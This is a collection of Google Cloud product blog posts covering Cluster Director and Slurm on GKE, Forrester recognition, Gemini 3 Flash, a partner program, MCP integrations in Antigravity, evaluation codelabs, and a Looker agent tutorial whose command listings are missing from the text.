Google Cloud

The complexity of the infrastructure behind AI training and high performance computing (HPC) workloads can really slow teams down. At Google Cloud, where we work with some of the world’s largest AI research teams, we see it everywhere we go: researchers hampered by complex configuration files, platform teams struggling to manage GPUs with home-grown scripts, and operational leads battling the constant, unpredictable hardware failures that derail multi-week training runs. Access to raw compute isn’t enough. To operate at the cutting edge, you need reliability that survives hardware failures, orchestration that respects topology, and a lifecycle management strategy that adapts to evolving needs.

Today, we are delivering on those requirements with the General Availability (GA) of Cluster Director and the Preview of Cluster Director support for Slurm on Google Kubernetes Engine (GKE). 

• Cluster Director (GA) is a managed infrastructure service designed to meet the rigorous demands of modern supercomputing. It replaces fragile DIY tooling with a robust topology-aware control plane that handles the entire lifecycle of Slurm clusters, from the first deployment to the thousandth training run. 
• We are expanding Cluster Director to support Slurm on GKE (Preview), designed to give you the best of both worlds: the familiar precision of high-performance scheduling and the automated scale of Kubernetes. It achieves this by treating GKE node pools as a direct compute resource for your Slurm cluster, allowing you to scale your workloads with Kubernetes’ power without changing your existing Slurm workflows.

Cluster Director, now GA

Cluster Director offers advanced capabilities at each phase of the cluster lifecycle, spanning preparation (Day 0), where infrastructure design and capacity are determined; deployment (Day 1), where the cluster is automatically deployed and configured; and monitoring (Day 2), where performance, health, and optimization are continuously tracked.

This holistic approach ensures that you get the benefits of fully configurable infrastructure while automating lower-level operations so your compute resources are always optimized, reliable, and available. 

So, what does all this cost? That’s the best part. There’s no extra charge to use Cluster Director. You only pay for the underlying Google Cloud resources — your compute, storage, and networking.

How Cluster Director supports each phase of deployment

Day 0: Preparation 

Standing up a cluster typically involves weeks of planning, wrangling Terraform, and debugging the network. Cluster Director changes the ‘Day 0’ experience entirely, with tools for designing infrastructure topology that’s optimized for your workload requirements.

To streamline your Day 0 setup, Cluster Director provides:

• Reference architectures: We’ve codified Google’s internal best practices into reusable cluster templates, enabling you to spin up standardized, validated clusters in minutes. This helps ensure that every team in your organization is using the same security standards for their deployments and deploying on infrastructure that is configured correctly by default — right down to the network topology and storage mounting. 
• Guided configuration: We know that having too many options can lead to configuration paralysis. The Cluster Director control plane guides you through a streamlined setup flow. You select your resources, and our system handles the complex backend mapping, ensuring that storage tiers, network fabrics, and compute shapes are compatible and optimized before you deploy.
• Broad hardware support: Cluster Director offers full support for large-scale AI systems, including Google Cloud’s A4X and A4X Max VMs powered by NVIDIA GB200 and GB300 GPUs, and versatile CPUs such as N2 VMs for cost-effective login nodes and debugging partitions.
• Flexible consumption options: Cluster Director integrates with your preferred procurement strategy, with support for Reservations for guaranteed capacity during critical training runs, Dynamic Workload Scheduler Flex-start for dynamic scaling, or Spot VMs for opportunistic low-cost runs.

“Google Cloud’s Cluster Director is optimized for managing large-scale AI and HPC environments. It complements the power and performance of NVIDIA’s accelerated computing platform. Together, we’re providing customers with a simplified, powerful, and scalable solution to tackle the next generation of computing challenges.“ – Dave Salvator, Director of Accelerated Computing Products, NVIDIA

Day 1: Deployment 

Deploying hardware is one thing, but maximizing performance is another thing entirely. Day 1 is the execution phase, where your configuration transforms into a fully operational cluster. The good news is that Cluster Director doesn’t just provision VMs, it validates that your software and hardware components are healthy, properly networked, and ready to accept the first workload.

To ensure a high-performance deployment, Cluster Director automates:

• Getting a clean “bill of health”: Before your job ever touches a GPU, Cluster Director runs a rigorous suite of health checks, including DCGMI diagnostics and NCCL performance validation, to verify the integrity of the network, storage, and accelerators.
• Keeping accelerators fed with data: Storage throughput is often the silent killer of training efficiency. That’s why Cluster Director fully supports Google Cloud Managed Lustre with selectable performance tiers, allowing you to attach high-throughput parallel storage directly to your compute nodes, so your GPUs are never starved for data.
• Maximizing Interconnect Performance: To achieve peak scaling, Cluster Director implements topology-aware scheduling and compact placement policies. By utilizing dense reservations on Google’s non-blocking fabric, the system ensures that your distributed workloads are placed on the shortest physical path possible, minimizing tail latency and maximizing collective communication (NCCL) speeds from the get-go.

Day 2: Monitoring

The reality of AI and HPC infrastructure is that hardware fails and requirements change. A rigid cluster is an inefficient cluster. As you move into the ongoing “Day 2” operational phase, you need to maintain cluster health, maximize utilization and performance. Cluster Director provides a control plane equipped for the complexities of long-term operations. Today we are introducing new active cluster management capabilities to handle the messy reality of Day 2 operations.

New active cluster management capabilities include:

• Topology-level visibility: You can’t orchestrate what you can’t see. Cluster Director’s observability graphs and topology grids let you visualize your entire fleet, spot thermal throttles or interconnect issues, and optimize job placement based on physical proximity.

• One-click remediation: When a node degrades, you shouldn’t have to SSH in to debug it. Cluster Director allows you to replace faulty nodes with a single click directly from the Google Cloud console. The system handles the draining, teardown, and replacement, returning your cluster to full capacity in minutes.

• Adaptive infrastructure: When your research needs change, so should your cluster. You can now modify active clusters, with activities such as adding or removing storage filesystems, on the fly, without tearing down the cluster or interrupting ongoing work.

Cluster Director support for Slurm on GKE, now in preview

Innovation thrives in the open. Google, the creator of Kubernetes, and SchedMD, the developers behind Slurm, have long championed the open-source technologies that power the world’s most advanced computing. For years, NVIDIA and SchedMD have worked in lockstep to optimize GPU scheduling, introducing foundational features like the Generic Resource (GRES) framework and Multi-Instance GPU (MIG) support that are essential for modern AI. By acquiring SchedMD, NVIDIA is doubling down on its commitment to Slurm as a vendor-neutral standard, ensuring that the software powering the world’s fastest supercomputers remains open, performant, and perfectly tuned for the future of accelerated computing.

Building on this foundation of accelerated computing, Google is deepening its collaboration with SchedMD to answer a fundamental industry challenge: how to bridge the gap between cloud-native orchestration and high-performance scheduling. We are excited to announce the Preview of Cluster Director support for Slurm on GKE, utilizing SchedMD’s Slinky offering.

This initiative brings together the two standards of the infrastructure world. By running a native Slurm cluster directly on top of GKE, we are amplifying the strengths of both communities:

• Researchers get the uncompromised Slurm interface and batch capabilities, such as sbatch and squeue, that have defined HPC for decades.

• Platform teams gain the operational velocity that GKE, with its auto-scaling, self-healing, and bin-packing, brings to the table.

Slurm on GKE is strengthened by our long-standing partnership with SchedMD, which helps create a unified, open, and powerful foundation for the next generation of AI and HPC workloads. Request preview access now.

Try Cluster Director today

Ready to start using Cluster Director for your AI and HPC cluster automation? 

• Learn more about the end-to-end capabilities in documentation.
• Activate Cluster Director in the console.

For most organizations, the question is no longer if they will use AI, but how to scale it from a promising prototype into a production-grade service that drives business outcomes. In this age of inference, competitive advantage is defined by your ability to serve useful information to users around the world at the lowest possible cost. As you move from demos to production deployments at scale, you need to simplify infrastructure operations with integrated systems that provide the latest AI software and accelerator hardware platforms, while keeping costs and architectural complexity low. 

Yesterday, Forrester released The Forrester Wave™: AI Infrastructure Solutions, Q4 2025 report, evaluating 13 vendors, and we believe their findings validate our commitment to solving these core challenges. Google received the highest score of all vendors in the Current Offering category and received the highest possible score in 16 out of 19 evaluation criteria, including, but not limited to: Vision, Architecture, Training, Inferencing, Efficiency, and Security.

Access the full report: The Forrester Wave™: AI Infrastructure Solutions, Q4 2025

Accelerating time-to-value with an integrated system

Enterprises don’t run AI in a vacuum. They need to integrate it with a diverse range of applications and databases while adhering to stringent security protocols. Forrester recognized Google Cloud’s strategy of co-design by giving us the highest possible score in the Efficiency and Scalability criteria:

“Google pursues a strategy of silicon-infrastructure co-design. It develops TPUs to improve inference efficiency and NVIDIA GPUs for access to broader ecosystem compatibility. Google designs TPUs to integrate tightly with its networking fabric, giving customers high bandwidth and low latency for inference at scale.”

For over two decades, we have operated some of the world’s largest services, from Google Search and YouTube to Maps, where their unprecedented scale required us to solve problems that no one else had. We couldn’t simply buy the platform and infrastructure we needed; we had to invent it. This led to a decade-long journey of deep, system-level co-design, building everything from our custom network fabric and specialized accelerators to frontier models, all under one roof. 

The result was an integrated supercomputing system, AI Hypercomputer, which has paid significant dividends for our customers. It supports a wide range of AI-optimized hardware, allowing you to optimize for granular, workload-level objectives — whether that’s higher throughput, lower latency, faster time-to-results, or lower TCO. That means you can use our custom Tensor Processing Units (TPUs), the latest NVIDIA GPUs, or both, backed by a system that tightly integrates accelerators with networking and storage for exceptional performance and efficiency. It’s also why today, leading generative AI companies such as Anthropic, Lightricks, and LG AI Research trust Google Cloud to power their most demanding AI workloads.

This system-level integration lays the foundation for speed, but operational complexity could still slow you down. To accelerate your time-to-market, we provide multiple ways to deploy and manage AI infrastructure, abstracting away the heavy lifting regardless of your preferred workflow. Google Kubernetes Engine (GKE) Autopilot automates management for containerized applications, helping customers like LiveX.AI reduce operational costs by 66%. Similarly, Cluster Director simplifies deployment for Slurm-based environments, enabling customers like LG AI Research to slash setup time from 10 days to under one day. 

Managing AI cost and complexity

Forrester gave Google Cloud the highest scores possible in the Pricing Flexibility and Transparency criterion. The price of compute is only one part of the AI infrastructure cost equation. A complete view should also account for development costs, downtime and inefficient resource utilization. We offer optionality at every layer of the stack to provide the flexibility businesses demand.

• Flexible consumption: Dynamic Workload Scheduler allows you to secure compute at up to 50% savings, by ensuring you only pay for the capacity you need, when you need it.

• Load balancing: GKE Inference Gateway improves throughput by using AI-aware routing to balance requests across models, preventing bottlenecks and ensuring servers aren’t sitting idle.

• Eliminating data bottlenecks: Anywhere Cache co-locates data with compute, reducing read latency by up to 96% and eliminating the “integration tax” of moving data. By using Anywhere Cache together with our unified data platform BigQuery, you can avoid latency and egress fees while keeping your accelerators fed with data. 

Mitigating strategic risk through flexibility and choice

We are also committed to enabling customer choice across accelerators, frameworks and multicloud environments. This isn’t new for us. Our deep experience with Kubernetes, which we developed then open-sourced, taught us that open ecosystems are the fastest path to innovation and provide our customers with the most flexibility. We are bringing that same ethos to the AI era by actively contributing to the tools you already use.

• Open source frameworks and hardware portability: We continue to support open frameworks such as PyTorch, JAX, and Keras. We’ve also directly addressed concerns about workload portability on custom silicon by investing in TPU support for vLLM, allowing developers to easily switch between TPUs and GPUs (or use both) with only minimal configuration changes.

• Hybrid and multicloud flexibility: Our commitment to choice extends to where you run your applications. Google Distributed Cloud brings our services to on-premises, edge and cloud locations, while Cross-Cloud Network securely connects applications and users with high-speed connectivity between your environments and other clouds. This powerful combination means you’re no longer locked into a specific environment; you can easily migrate workloads and apply uniform management practices, streamlining operations, and mitigating the risk of lock-in.

Systems you can rely on

When your entire business model depends on the availability of AI services, infrastructure uptime is critical. Google Cloud’s global infrastructure is engineered for enterprise-grade reliability, an approach rooted in our history as the birthplace of Site Reliability Engineering (SRE).

We operate one of the world’s largest private software-defined networks, handling approximately 25% of global internet egress traffic. Unlike providers that rely on the public internet, we keep your traffic on Google’s own fiber to improve speed, reliability, and latency. This global backbone is powered by our Jupiter data center fabric, which scales to 13 Petabits/sec of bandwidth, delivering 50x greater reliability than previous generations — to say nothing of other providers. Finally, to improve cluster-level fault tolerance, we employ capabilities like elastic training and multi-tier checkpointing, which allow jobs to continue uninterrupted, by dynamically resizing the cluster around failed nodes while minimizing the time to recovery.

Building on a secure foundation

Our approach is to secure AI from the ground up. In fact, Google Cloud maintains a leading track record for cloud security. Independent analysis from cloudvulndb.org (2024-2025) shows that our platform has up to 70% fewer critical and high vulnerabilities compared to the other two leading cloud providers. We were also the first in the industry to publish an AI/ML Privacy Commitment, which guarantees that we do not use your data to train our models. With those safeguards in place, security is integrated into the foundation of Google Cloud, based on the zero-trust principles that protect Google’s own services:

• A hardware root of trust: Our custom Titan chips, as part of our Titanium architecture, create a verifiable hardware root of trust. We recently extended this with Titanium Intelligence Enclaves for Private AI Compute, allowing you to process sensitive data in a hardened, isolated, and encrypted environment.

• Built-in AI security: Security Command Center (SCC) natively integrates with our infrastructure, providing AI Protection by automatically discovering assets, preventing security issues, detecting active threats with frontline Google Threat Intelligence, and discovering known and unknown risks before attackers can exploit them.  

• Sovereign solutions: We enable you to meet stringent data residency, operational control, and software sovereignty requirements through solutions like Data Boundary. This is complemented by flexible options like partner-operated sovereign controls and Google Distributed Cloud for air-gapped needs.

• Platform controls for AI and agent governance: Vertex AI provides the essential governance layer for the enterprise builder to deploy models and agents at scale. This trust is anchored in Google Cloud’s secure-by-default infrastructure, utilizing platform controls like VPC Service Controls (VPC-SC) and Customer-Managed Encryption Keys (CMEK) to sandbox environments and protect sensitive data, and Agent Identity for granular IAM permissions. At the platform level, Vertex AI and Agent Builder integrate Model Armor to provide runtime protection against emergent agentic threats, such as prompt injection and data exfiltration. 

Delivering continuous AI innovation

We are honored to be recognized as a Leader in The Forrester Wave™ report, which we believe validates decades of R&D and our approach to building ultra-scale AI infrastructure. Look to us to continue on this path of system-level innovation as we help you convert the promise of AI into a reality.

Access the full report: The Forrester Wave™: AI Infrastructure Solutions, Q4 2025

Today, we’re expanding the Gemini 3 model family with Gemini 3 Flash, which offers frontier intelligence built for speed at a fraction of the cost. 

Gemini 3 Flash builds on the model series that developers and enterprises already love, optimized for high-frequency workflows that demand speed, without sacrificing quality. It allows enterprises to process near real-time information, automate complex workflows, and build responsive agentic applications.

Gemini 3 Flash is built to be highly efficient, pushing the boundaries of quality at better price performance and faster speed. With a near real-time response from the model, businesses can now provide more engaging experiences for their end users at production scale, without sacrificing on quality. 

Optimized for speed and scale

Gemini 3 Flash strikes an ideal balance between reasoning and speed, for agentic coding, production-ready systems, and responsive interactive applications. It is available now in Gemini Enterprise, Vertex AI, and Gemini CLI, so businesses and developers can access: 

• Advanced multimodal processing: Gemini 3 Flash enables enterprises to build applications capable of complex video analysis, data extraction, and visual Q&As in near real-time. Whether streamlining back-office operations by extracting structured data from thousands of documents, or analyzing video archives to identify trends, Gemini 3 Flash delivers these insights with the speed required for modern data pipelines.

• Cost-efficient and high-performance execution for code and agents: Gemini 3 Flash delivers exceptional performance on coding and agentic tasks combined with a lower price point, allowing teams to deploy sophisticated reasoning across high-volume processes without hitting barriers.

• Low latency for near-real-time experiences: Gemini 3 Flash eliminates the lag typically associated with large models when it comes to intelligence. Its low latency powers responsive applications, from live customer support agents to in-game assistants. These applications can now offer more natural interactions for both quick answers and deep reasoning.

Gemini 3 Flash clearly demonstrates that speed and scale do not have to come at the cost of intelligence.

Real-world value across industries 

With the launch of Gemini 3 Pro last month, we introduced frontier performance across complex reasoning, multimodal and vision understanding, as well as agentic and vibe-coding tasks. Gemini 3 Flash retains this foundation, combining Gemini 3’s Pro-grade reasoning with Flash-level latency, efficiency, and cost.

We are already seeing a tremendous response from companies using Gemini 3 Flash. With inference speed and reasoning capabilities that are typically associated with larger models, Gemini 3 Flash is unlocking new and more efficient use cases for companies like Salesforce, Workday and Figma.

Reasoning and multimodality 

Agentic coding

Agentic applications  

Get started with Gemini 3 Flash

Today, you can safely put Gemini 3 Flash to work.

• Business teams can access Gemini 3 Flash in preview on Gemini Enterprise, our advanced agentic platform for teams to discover, create, share, and run AI agents all in one secure platform. 
• Developers can start building with Gemini 3 Flash in preview on Vertex AI today. Gemini 3 Flash is also available in Google Antigravity, Gemini CLI, AI Studio, and more.

We have exciting news for Google Cloud partners: Today we’re announcing our new partner program, Google Cloud Partner Network, which will formally roll out in the first quarter of 2026. 

This new program marks a fundamental shift in how we measure success and reward value. Applicable to all partner types and sizes – ISVs, RSIs, GSIs, and more – the new program reinforces our strategic move toward recognizing partner contribution across the entire customer lifecycle. 

Google Cloud Partner Network is being completely streamlined to focus on real-world results. This marks a strategic shift from measuring program work to valuing genuine customer outcomes. This includes rewarding successful co-sell sales efforts, high-quality service delivery, and shared innovation with ISVs. We are also integrating AI into the program’s core to make partner participation much easier, allowing more focus on customers instead of routine program administration.

With its official kickoff in Q1, the new program will provide a six-month transition window for partners to adjust to the new framework. Today, we are sharing the first details of the Google Cloud Partner Network, which is centered on three pillars: simplicity, outcomes, and automation.

Simplicity 

We’re making the program simpler by moving away from tracking the work of traditional program requirements, such as business plans and customer stories, and towards recognising partner contributions – including pre-sales influence, co-innovation, and post-sales support. 

Because the program is designed to put the customer first, we’ve narrowed requirements to focus on partner efforts that deliver real, measurable value. For example, the program will recognize investments in skills, real-world experience, and successful customer outcomes. 

Outcomes 

The new program will provide clear visibility into how partner impact is recognized and rewarded, focusing on customer outcomes. Critical highlights include: 

• New tiers: We’re evolving from a two-tier to a three-tier model: Select, Premier, and a new Diamond tier. Diamond is our highest distinction – it is intentionally selective, reserved for the few partners who consistently deliver exceptional customer outcomes. Each tier will now reflect our joint customer successes and will be determined based on exceptional customer outcomes across Google Cloud and Google Workspace.

• New baseline competencies: A new competency framework marks a fundamental shift that will replace today’s specializations, in order to reward partners for their deep technical and sales capabilities. The framework focuses on a partner’s proven ability to help customers, measuring two key dimensions: capacity (knowledge and skills development, validated by technical certifications and sales credentials) and capability (real-world success, measured by pre-sales and post-sales contributions to validated closed/won opportunities). This framework operates independently from tiering to allow partners to earn a competency without any dependency on a program tier.

• New advanced competency: The new global competencies introduce a second level of achievement, Advanced Competency, to signal a higher designation. 

Automation

Building on the proven success and transparency delivered through tools like the Earnings Hub and Statement of Work Analyzer, today’s Partner Network Hub will transform to deliver automation and transparency across the program. 

The administrative responsibility for partners to participate in the program will be dramatically reduced through the use of AI and other tools. For example, a key change is the introduction of automated tracking across tiering and competency achievements. We will automatically apply every successful customer engagement toward a partner’s progress in all eligible tiers and competencies. This radical simplification eliminates redundant reporting and ensures seamless, comprehensive recognition for the outcomes delivered.

What’s next…

The new program and portal will officially launch in Q1 2026, enabling partners to immediately log in, explore benefits and differentiation paths, and begin achieving new tiers and competencies. To ensure a smooth transition, we will host a series of webinars and listening sessions throughout early next year to educate partners on Google Cloud Partner Network.

Stay tuned. We’ll have more to share soon!

The AI state of the art is shifting rapidly from simple chat interfaces to autonomous agents capable of planning, executing, and refining complex workflows. In this new landscape, the ability to ground these intelligent agents in your enterprise data is key to unlocking true business value. Google Cloud is at the forefront of this shift, empowering you to build robust, data-driven applications quickly and accurately.

Last month, Google announced Antigravity, an AI-first integrated development environment (IDE). And now, you can now give the AI agents you build in Antigravity direct, secure access to the trusted data infrastructure that powers your organization, turning abstract reasoning into concrete, data-aware action. With Model Context Protocol (MCP) servers powered by MCP Toolbox for Databases now available within Antigravity, you can securely connect your AI agents to services like AlloyDB for PostgreSQL, BigQuery, Spanner, Cloud SQL, Looker and others within Google’s Data Cloud, all within your development workflow.

Why use MCP in Antigravity?

We designed Antigravity to keep you in the flow, but the power of an AI agent is limited by what it “knows.” To build truly useful applications, your agent needs to understand your data. MCP acts as the universal translator. You can think of it like a USB-C port for AI. It allows the LLMs in your IDE to plug into your data sources in a standardized way. By integrating pre-built MCP servers directly into Antigravity, you don’t need to perform any manual configuration. Your agents can now converse directly with your databases, helping you build and iterate faster without ever leaving the IDE.

Getting started with MCP servers

In Antigravity, connecting an agent to your data is a UI-driven experience, eliminating the challenges we’ve all faced when wrestling with complex configuration files just to get a database connection running. Here’s how to get up and running.

1. Discover and launch

You can find MCP servers for Google Cloud in the Antigravity MCP Store. Search for the service you need, such as “AlloyDB for PostgreSQL” or “BigQuery,” and click on Install to start the setup process.

2. Configure your connection

Antigravity presents a form where you can add your service details such as Project ID and region. You can also enter your password or have Antigravity use your Identity and Access Management (IAM) credentials for additional security. These are stored securely, so your agent can access the tools it needs without exposing raw secrets in your chat window.

See your agents in action

Once connected to Antigravity, your agent gains a suite of “tools” (executable functions) that it can use to assist you, and help transform your development and observability experience across different services. Let’s take a look at a couple of common scenarios. 

Streamlining database tasks with AlloyDB for PostgreSQL

When building against a relational database like PostgreSQL, you may spend time switching between your IDE and a SQL client to check schema names or test queries. With the AlloyDB MCP server, your agent handles that context and gains the ability to perform database administration and generate high-quality SQL code you can include in your apps — all within the Antigravity interface.

For example:

• Schema exploration: The agent can use list_tables and get_table_schema to read your database structure and explain relationships to you instantly.
• Query development: Ask the agent to “Write a query to find the top 10 users,” and it can use execute_sql to run it and verify the results immediately.
• Optimization: Before you commit code, use the agent to run get_query_plan to ensure your logic is performant.

Unlocking analytics with BigQuery

For data-heavy applications, your agent can act as a helpful data analyst. Leveraging the BigQuery MCP server, it can, for example:

• Forecast: Use forecast to predict future trends based on historical data.

• Search the catalog: Use search_catalog to discover and manage data assets.

• Augmented analytics: Use analyze_contribution to understand the impact of different factors on data metrics.

Building on truth with Looker

Looker acts as your single source of truth for business metrics. Looker’s MCP server allows your agent to bridge the gap between code and business logic, for example:

• Ensuring metric consistency: No more guessing whether a field is named total_revenue or revenue_total. Use get_explores and get_dimensions to ask your agent, “What is the correct measure for Net Retention?” and receive the precise field reference from the semantic model.

• Instantly validating logic: Don’t wait to deploy a dashboard to test a theory. Use run_query to execute ad-hoc tests against the Looker model directly in your IDE, so that your application logic matches the live data.

• Auditing reports: Use run_look to pull results from existing saved reports, allowing you to verify that your application’s output aligns with official business reporting.

Build with data in Antigravity

By integrating Google’s Data Cloud MCP servers into Antigravity, it’s easier than ever to use AI to discover insights and develop new applications. Now, with access to a wide variety of data sources that run your business, get ready to take the leap from simply talking to your code, to creating new experiences for your users.

To get started, check out the following resources:

• Documentation: Connecting to AlloyDB using MCP

• GitHub: MCP Toolbox for Databases

Building Generative AI applications has become accessible to everyone, but moving those applications from a prototype to a production-ready system requires one critical step: Evaluation.

How do you know if your LLM is safe? How do you ensure your RAG system isn’t hallucinating? How do you test an agent that generates SQL queries on the fly?

At its core, GenAI Evaluation is about using data and metrics to measure the quality, safety, and helpfulness of your system’s responses. It moves you away from “vibes-based” testing (just looking at the output) to a rigorous, metrics-driven approach using tools like Vertex AI Evaluation and the Agent Development Kit (ADK).

To guide you through this journey, we have released four hands-on labs that take you from the basics of prompt testing to complex, data-driven agent assessment.

Evaluating Single LLM Outputs

Before you build complex systems, you must understand how to evaluate a single prompt and its response. This lab introduces you to GenAI Evaluation, a service that helps you automate the evaluation of your model’s outputs.

You will learn how to define metrics, such as safety, groundedness, and instruction following. You will also learn how to run evaluation tasks against a dataset. This is the foundational step for any production-ready AI application.

Evaluate RAG Systems with Vertex AI

Retrieval Augmented Generation (RAG) is a powerful pattern, but it introduces new failure points: did the search fail to find the document, or did the LLM fail to summarize it?

This lab takes you deeper into the evaluation lifecycle. You will learn how to verify “Faithfulness” (did the answer come from the context?) and “Answer Relevance” (did it actually answer the user’s question?). You will pinpoint exactly where your RAG pipeline needs improvement.

Evaluating Agents with ADK

Agents are dynamic; they choose tools and plan steps differently based on the input. This makes them harder to test than standard prompts. You aren’t just grading the final answer; you are grading the trajectory, which is the path the agent took to get there.

This lab focuses on using the Agent Development Kit (ADK) to trace and evaluate agent decisions. You will learn how to define specific evaluation criteria for your agent’s reasoning process and how to visualize the results to ensure your agent is using its tools correctly.

Build and Evaluate BigQuery Agents

When an agent interacts with data, precision is paramount. A SQL-generating agent must write syntactically correct queries and retrieve accurate numbers. A hallucination here doesn’t just look bad, it might lead to bad business decisions.

In this advanced lab, you will build an agent capable of querying BigQuery and then use the GenAI Eval Service to verify the results. You will learn to measure Factual Accuracy and Completeness, ensuring your agent provides the exact data requested without omission.

Trust Your AI in Production

Ready to make your AI applications production-grade? Start evaluating your model’s outputs or the trajectory taken by your agents with these codelabs:

• Evaluating Single LLM Outputs With Vertex AI Evaluation

• Evaluate RAG Systems with Vertex AI

• Evaluating Agents with ADK

• Build and Evaluate BigQuery Agents using ADK and GenAI Eval Service

From Prototype to Production

These labs are part of the AI Evaluation module in our official Production-Ready AI with Google Cloud program. Explore the full curriculum for more content that will help you bridge the gap from a promising prototype to a production-grade AI application.

To build a production-ready agentic system, where intelligent agents can freely collaborate and act, we need standards and shared protocols for how agents talk to tools and how they talk to each other.

In the Agent Production Patterns module in the Production-Ready AI with Google Cloud Learning Path, we focus on interoperability, exploring the standard patterns for connecting agents to data, tools and each other. Here are three hands-on labs to help you build these skills.

The Foundations of ADK, MCP, A2A

This lab serves as your “Hello World” for the modern agent stack. You will build a simple, specialized agent that demonstrates how Agent Development Kit (ADK), Model Context Protocol (MCP), and Agent to Agent Protocol (A2A) work together. 

Connecting to Data with MCP

Once you understand the basics, the next step is giving your agent access to knowledge. Whether you are analyzing massive datasets or searching operational records, the MCP Toolbox provides a standard way to connect your agent to your databases.

Expose a BigQuery database to an MCP Client

This lab shows you how to expose BigQuery tables to an MCP client.

Expose a CloudSQL database to an MCP Client

If you need your agent to search for specific records—like flight schedules or hotel inventory—this lab demonstrates how to connect to a CloudSQL relational database.

From Prototype to Production

By moving away from custom integrations and adopting standards like MCP and A2A, you can build agents that are easier to maintain and scale. These labs provide the practical patterns you need to connect your agents to your data, your tools, and each other.

These labs are part of the Agent Production Patterns module in our official Production-Ready AI with Google Cloud Learning Path. Explore the full curriculum for more content that will help you bridge the gap from a promising prototype to a production-grade AI application.

Share your progress using the hashtag #ProductionReadyAI. Happy learning!

We can all agree that the quality of AI-driven answers relies on the consistency of the underlying data. But AI models, while powerful, lack business context out of the box. As more organizations ask questions of their data using natural language, it is increasingly important to unify business measures and dimensions, ensure consistency company-wide. If you want trustworthy AI, what you need is a semantic layer that acts as the single source of truth for business metrics.But how do you make that data accessible and actionable for your end users? Building off the recent introduction of Looker’s Model Context Protocol (MCP) server, in this blog we take you through the process of creating an Agent Development Kit (ADK) agent that is connected to Looker via the MCP Toolbox for Databases and exposing it within Gemini Enterprise. Let’s get started. Step 1 – Set up Looker Integration in MCP Toolbox

MCP Toolbox for Databases is a central open-source server that hosts and manages toolsets, enabling agentic applications to leverage Looker’s capabilities without working directly with the platform. Instead of managing tool logic and authentication themselves, agents act as MCP clients and request tools from the Toolbox. The MCP Toolbox handles all the underlying complexities, including secure connections to Looker, authentication and query execution.

The MCP Toolbox for Databases natively supports Looker’s pre-built toolset. To access these tools, follow the below steps:

Connect to Cloud Shell. Check that you’re already authenticated, and that the project is set to your project ID using the following command:

Run the following command in Cloud Shell to confirm that the gcloud command knows about your project:

Create a folder named mcp-toolbox:

Go to the mcp-toolbox folder via the command shown below:

Install the binary version of the MCP Toolbox for Databases via the script given below. This command is for Linux; if you run on Macintosh or Windows, ensure that you download the correct binary. Check out the releases page for your Operation System and Architecture and download the correct binary.

Deploy Toolbox to Cloud Run

Next, you’ll need to run MCP Toolbox. The simplest way to do that is on Cloud Run, Google Cloud’s fully managed container application platform. Here’s how:

Enable relevant APIs if needed:

Create a service account and assign necessary roles:

For information on getting your client id and secret, read the documentation.

Create a deploy.env file:

Export the toolbox config into an image variable:

Deploy MCP Toolbox to Cloud Run:

The Cloud Run will ask if you want Unauthenticated, select No.Allow Unauthenticated: N

Step 2: Deploy ADK Agent to Agent Engine

Next, you need to configure Agent Development Kit (ADK), a flexible and modular framework for developing and deploying AI agents. ADK was designed to make agent development feel more like software development, to make it easier for developers to create, deploy, and orchestrate agentic architectures that range from simple tasks to complex workflows. And while ADK is optimized for Gemini and the Google ecosystem, it’s also model-agnostic, deployment-agnostic, and is built for compatibility with other frameworks. 

Vertex AI Agent Engine, a part of the Vertex AI Platform, is a set of services that enables developers to deploy, manage, and scale AI agents in production. Agent Engine handles the infrastructure to scale agents in production so you can focus on creating applications.

Open a new terminal tab in Cloud Shell and create a folder named my-agents as follows. You also need to navigate to the my-agents folder.

Now, create a virtual Python environment using venv:

Activate the virtual environment:

Install the ADK and the MCP Toolbox for Databases packages along with langchain dependency:

Creating your first Agent Application

Now you’re ready to use adk to create a scaffolding, including folders, environment and basic files, for our Looker Agent Application via the adk create command with an app name looker_app:

Follow the steps and select the following:

• Gemini model for choosing a model for the root agent

• Vertex AI for the backend

• Your default Google Project Id and region

Observe the folder in which a default template and required files for the Agent have been created.

First up is the .env file:

The values indicate that you will be using Gemini via Vertex AI along with the respective values for the Google Cloud Project Id and location.

Then you have the __init__.py file that marks the folder as a module and has a single statement that imports the agent from the agent.py file:

Finally, take a look at the agent.py file. The contents can be edited to similar to the example below:

Insert the Cloud Run URL highlighted here (. not the one with the project number in the url).

Create a Cloud Storage bucket if necessary:

Ensure you are in the my-agents directory. Update the BUCKET_NAME with the Cloud Storage bucket you want to use:

NOTE: Ensure you grant the Cloud Run Invoker role to the default Agent Engine Service Account (i.e., service-PROJECT_NUMBER@gcp-sa-aiplatform-re.iam.gserviceaccount.com)

Step 3: Connect to Gemini Enterprise

Now it’s time to create a Gemini Enterprise app (instructions here).

Run the below command with the GCP Project Number, Reasoning Engine resource name output from the ‘deploy agent_engine’ command above, and your Gemini Enterprise Agent ID from the Gemini Enterprise Apps interface:

Your Looker data will now be available within your Gemini Enterprise app.If you don’t have access to this feature, contact your Google Cloud account team.

Querying business data made easier

Connecting Looker’s semantic layer to Vertex AI Agent services by way of the ADK and MCP Toolbox is a big win for data accessibility. By exposing your trusted Looker models and Explores in Gemini Enterprise, you empower end-users to query complex business data using natural language. This integration closes the gap between data insights and immediate action, ensuring that your organization’s semantic layer is not just a source of passive reports, but an active, conversational, and decision-driving asset.

To get started, connect to the MCP Toolbox for Databases on GitHub and set up Looker integration.

Today, many organizations operate with data that’s trapped in silos, in disconnected legacy systems and is days or hours old. However, the rise of AI presents the need and opportunity to unify these environments,  tap into unstructured data from audio, video, and text files, which together, makes up more than 80% of enterprise data and enable business decisions informed by real-time data. Data teams navigating AI also face a new set of challenges such as automating complex workflows and apps, grounding them in enterprise data, activating real-time insights on multimodal data, and building a foundation that inspires trust in AI. 

Google’s Data Cloud is an AI-native platform designed to unify an organization’s entire data foundation and enable intelligent applications and agentic experiences. Data Cloud integrates Google infrastructure, intelligence, and data platform with pioneering AI advancements, including Gemini for working with data, automation of metadata management and governance, and flexible workflows for developers, allowing customers to focus on innovation and business outcomes rather than integration challenges. 

Recently, we were honored to be recognized as a Leader in the 2025 Gartner® Magic Quadrant™ for Data Integration Tools. In our opinion this demonstrates Data Cloud’s tight integration with data integration tools and vision for AI, including customer use cases for multimodal data processing, and scalable, efficient vectorization. In addition, we were recognized as a leader in the Forrester Wave™ :Streaming Data Platforms, Q4 2025. In this blog post, we take a look at recent updates and innovations that we believe made recognition from these two leading analyst firms possible.   

Boost productivity with Gemini-powered intelligence

